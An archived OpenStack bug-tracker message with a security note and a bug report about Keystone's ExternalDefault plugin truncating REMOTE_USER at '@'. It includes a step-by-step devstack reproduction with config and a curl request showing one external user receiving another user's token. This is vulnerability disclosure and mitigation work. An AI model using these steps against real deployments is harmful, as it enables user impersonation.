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Message #08354
[Bug 1254619] Re: external.Default authentication plugin only considers leftmost part of the REMOTE_USER split by "@"
Published the following OSSN to the openstack and openstack-dev mailing
lists:
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Keystone can allow user impersonation when using REMOTE_USER for
external authentication
---
### Summary ###
When external authentication is used with Keystone using the
"ExternalDefault" plug-in, external usernames containing "@"
characters are truncated at the "@" character before being mapped to a
local Keystone user. This can result in separate external users
mapping to the same local Keystone user, which could lead to user
impersonation.
### Affected Services / Software ###
Keystone, Havana
### Discussion ###
When Keystone is run in the Apache HTTP Server, the webserver can
handle authentication and pass the authenticated username to Keystone
using the REMOTE_USER environment variable. External authentication
behavior is handled by authentication plugins in Keystone. In the
Havana release of OpenStack, if the external username provided in the
REMOTE_USER environment variable contains an "@" character Keystone
will only use the portion preceding the "@" character as the username
when using the "ExternalDefault" authentication plugin. This results
in the ability for multiple unique external usernames to map to the
same single username in Keystone. For example, the external usernames
"jdoe@xxxxxxxxxxxx" and "jdoe@xxxxxxxxxxxx" would both map to the
Keystone user "jdoe". This behavior could potentially be abused to
allow one to impersonate another similarly named external user.
Keystone in OpenStack releases prior to Havana uses the entire value
contained in the REMOTE_USER environment variable, so those versions
are not vulnerable to this impersonation issue.
### Recommended Actions ###
If the "ExternalDefault" plugin is being used for external
authentication in the Havana release, you should ensure that external
usernames do not contain "@" characters unless you want to collapse
similarly named external users into a single user on the Keystone side.
If your external usernames do contain "@" characters and you do not
want to collapse similarly named external users into a single user on
the Keystone side, you might be able to use the "ExternalDomain"
plug-in. This plugin considers the portion of the external username
that follows an "@" character to be the domain that the user belongs
to in Keystone. This allows similarly named external users to map to
separate Keystone users if the portion of the external username that
follows an "@" character maps to a Keystone domain name. To configure
the "ExternalDomain" authentication plugin, set the "external"
parameter in the "[auth]" section of Keystone's keystone.conf as follows:
---- begin example keystone.conf snippet ----
[auth]
methods = external,password,token
external = keystone.auth.plugins.external.ExternalDomain
---- end example keystone.conf snippet ----
If neither of the above recommendations work for your deployment, a
custom authentication plugin can be created that uses the external
username that contains an "@" character as-is.
### Contacts / References ###
This OSSN : https://bugs.launchpad.net/ossn/+bug/1254619
Original LaunchPad Bug : https://bugs.launchpad.net/keystone/+bug/1254619
OpenStack Security ML : openstack-security@xxxxxxxxxxxxxxxxxxx
OpenStack Security Group : https://launchpad.net/~openstack-ossg
** Changed in: ossn
Status: In Progress => Fix Released
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https://bugs.launchpad.net/bugs/1254619
Title:
external.Default authentication plugin only considers leftmost part of
the REMOTE_USER split by "@"
Status in OpenStack Identity (Keystone):
Fix Committed
Status in OpenStack Security Advisories:
Invalid
Status in OpenStack Security Notes:
Fix Released
Bug description:
Hi there.
Keystone allows the usage of external authentication. This external
authentication makes possible for the deployers to integrate external
euth methods in Keystone. When it is executed as a WSGI application
(for example when executed behind apache using mod_wsgi) the
authentication can be made by the web server and the user will be
passed down using the REMOTE_USER environment variable. It is also
possible to use external authn by creating a custom WSGI filter that
will be pipelined. More details of this behaviour can be seen in [0].
[0] http://docs.openstack.org/developer/keystone/external-auth.html
Since the Havana release, this code has been refactored and moved to a
pluggable mechanism under keystone/auth/plugins/external.py. If I am
not wrong, this was introduced in commit
88c319e6bce98082f9a90b8b27726793d5366326 [1]. This code is in
stable/havana since that commit, and is currently in the trunk.
[1]
https://github.com/openstack/keystone/commit/88c319e6bce98082f9a90b8b27726793d5366326
During the review of [2] the ExternalDefault plugin I've realized that
the way the plugin extracts the username can lead to impersonation.
The excerpt of code that extracts the username is this one [3]:
names = remote_user.split('@')
username = names.pop(0)
domain_id = CONF.identity.default_domain_id
user_ref = auth_info.identity_api.get_user_by_name(username,
domain_id)
When Keystone is configured to use the defualt domain, the REMOTE_USER
variable is splited by all the "@" and then only the leftfmost part is
considered, while the leftovers are discarded. Since a username can
contain "@" inside (for example when emails are used as usernames)
"john" "john@xxxxxxxxxxx" and "john@xxxxxxxxxx" will all get a token
belonging to the "john" user.
[2] https://review.openstack.org/#/c/50362
[3] https://github.com/openstack/keystone/blob/stable/havana/keystone/auth/plugins/external.py#L39
External authentication opens the door for any deployer to use any
authentication mechanism. OpenStack does not ship any external
authentication mechanism, but it is perfectly possible to use emails
as the usernames (or usernames containing "@", as X509 certificate
DNs). For example, a LDAP directory could be configured in Apache to
let the users in, and set the REMOTE_USER as the username, instead of
the user DN.
It is possible to easily reproduce this using devstack as follows:
ubuntu@test-ks-vuln:~/devstack$ cat > localrc << EOF
> ENABLED_SERVICES=key,mysql
> APACHE_ENABLED_SERVICES+=keystone
> EOF
ubuntu@test-ks-vuln:~/devstack$ ./stack.sh
(...)
ubuntu@test-ks-vuln:~/devstack$ source openrc admin admin
ubuntu@test-ks-vuln:~/devstack$ keystone user-list
+----------------------------------+-------+---------+-------------------+
| id | name | enabled | email |
+----------------------------------+-------+---------+-------------------+
| dc90b499a1c0499997bd35ba19a2436c | admin | True | admin@xxxxxxxxxxx |
| 685cd73e645243c2ba81314cbc5ac89a | demo | True | demo@xxxxxxxxxxx |
+----------------------------------+-------+---------+-------------------+
ubuntu@test-ks-vuln:~/devstack$ keystone tenant-list
+----------------------------------+--------------------+---------+
| id | name | enabled |
+----------------------------------+--------------------+---------+
| d5319bc5b7054e0589ad32048813ee1a | admin | True |
| badfa689e32a4d9fb7d102a7d92ad3b7 | demo | True |
| 110627ae8c534b548d70a5a159ff65ee | invisible_to_admin | True |
| 92484643deb246e680ee3d716a7dfeea | service | True |
+----------------------------------+--------------------+---------+
ubuntu@test-ks-vuln:~/devstack$ keystone tenant-create --name external_users
+-------------+----------------------------------+
| Property | Value |
+-------------+----------------------------------+
| description | |
Listen 5000
| enabled | True |
Listen 5000
| id | 3ac4e3f06a3548378eb26e3be8dc3952 |
| name | external_users |
+-------------+----------------------------------+
ubuntu@test-ks-vuln:~/devstack$ keystone user-create --name john --tenant d5319bc5b7054e0589ad32048813ee1a --pass secret
+----------+----------------------------------+
| Property | Value |
+----------+----------------------------------+
| email | |
Listen 5000
| enabled | True |
| id | a8fe063e8a124f89ada9526d401aad98 |
| name | john |
| tenantId | d5319bc5b7054e0589ad32048813ee1a |
+----------+----------------------------------+
ubuntu@test-ks-vuln:~/devstack$ keystone user-create --name john@external_user.com --tenant 3ac4e3f06a3548378eb26e3be8dc3952 --pass secret
+----------+----------------------------------+
| Property | Value |
+----------+----------------------------------+
| email | |
| enabled | True |
| id | 6af78b4bdca646a68069d74cdf8e5334 |
| name | john@external_user.com |
| tenantId | 3ac4e3f06a3548378eb26e3be8dc3952 |
+----------+----------------------------------+
So far I've two different users. For the shake of simplicity I will
use Apache's basic authentication, so it is needed to add the
following excerpt to /etc/apache2/sites-enabled/keystone:
Listen 5001
<VirtualHost *:5001>
WSGIDaemonProcess keystone-public2 processes=5 threads=1 user=ubuntu
WSGIProcessGroup keystone-public2
WSGIScriptAlias / /var/www/keystone/main
WSGIApplicationGroup %{GLOBAL}
ErrorLog /var/log/apache2/keystone
LogLevel debug
CustomLog /var/log/apache2/access.log combined
<Location />
AuthType Basic
AuthName "Restricted Files"
AuthBasicProvider file
AuthUserFile /opt/stack/htpasswd
Require valid-user
</Location>
</VirtualHost>
And then, create the external user, and authenticate with it:
ubuntu@test-ks-vuln:~/devstack$ sudo htpasswd -c /opt/stack/htpasswd john@external_user.com
New password:
Re-type new password:
Adding password for user john@external_user.com
ubuntu@test-ks-vuln:~/devstack$ sudo /etc/init.d/apache2 restart
* Restarting web server apache2
* ... waiting
ubuntu@test-ks-vuln:~/devstack$
ubuntu@test-ks-vuln:~$ curl --user john@external_user.com:secret -d '{"auth": {"identity":{ "methods": []}}}' -H "Content-type: application/json" http://172.16.0.63:5001/v3/auth/tokens |python -mjson.tool
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1134 100 1095 100 39 2301 81 --:--:-- --:--:-- --:--:-- 2300
{
"token": {
"catalog": [
{
"endpoints": [
{
"id": "d0b2b692496a4d2c8a70e63543782aed",
"interface": "internal",
"legacy_endpoint_id": "59eddafa29194ef5a1d221aad17f2f2e",
"region": "RegionOne",
"url": "http://172.16.0.63:5000/v2.0";
},
{
"id": "da7fe597a1b84529910e890807b47bdb",
"interface": "admin",
"legacy_endpoint_id": "59eddafa29194ef5a1d221aad17f2f2e",
"region": "RegionOne",
"url": "http://172.16.0.63:35357/v2.0";
},
{
"id": "eeda9fbcffe94588ad15689d33f2c1e9",
"interface": "public",
"legacy_endpoint_id": "59eddafa29194ef5a1d221aad17f2f2e",
"region": "RegionOne",
"url": "http://172.16.0.63:5000/v2.0";
}
],
"id": "14a4bd4966b74503ab2fb47836101824",
"type": "identity"
}
],
"expires_at": "2013-11-26T23:04:55.341085Z",
"extras": {},
"issued_at": "2013-11-25T23:04:55.341121Z",
"methods": [],
"project": {
"domain": {
"id": "default",
"name": "Default"
},
"id": "d5319bc5b7054e0589ad32048813ee1a",
"name": "admin"
},
"roles": [
{
"id": "9fe2ff9ee4384b1894a90878d3e92bab",
"name": "_member_"
}
],
"user": {
"domain": {
"id": "default",
"name": "Default"
},
"id": "a8fe063e8a124f89ada9526d401aad98",
"name": "john"
}
}
}
As you can see, I am getting the id for the user "john"
(a8fe063e8a124f89ada9526d401aad98) instead of the user
"john@example_user.com" (6af78b4bdca646a68069d74cdf8e5334). The patch
in [2] should fix this issue (although it was initially unrelated)
since it does not split the username when using the ExternalDefault
plugin.
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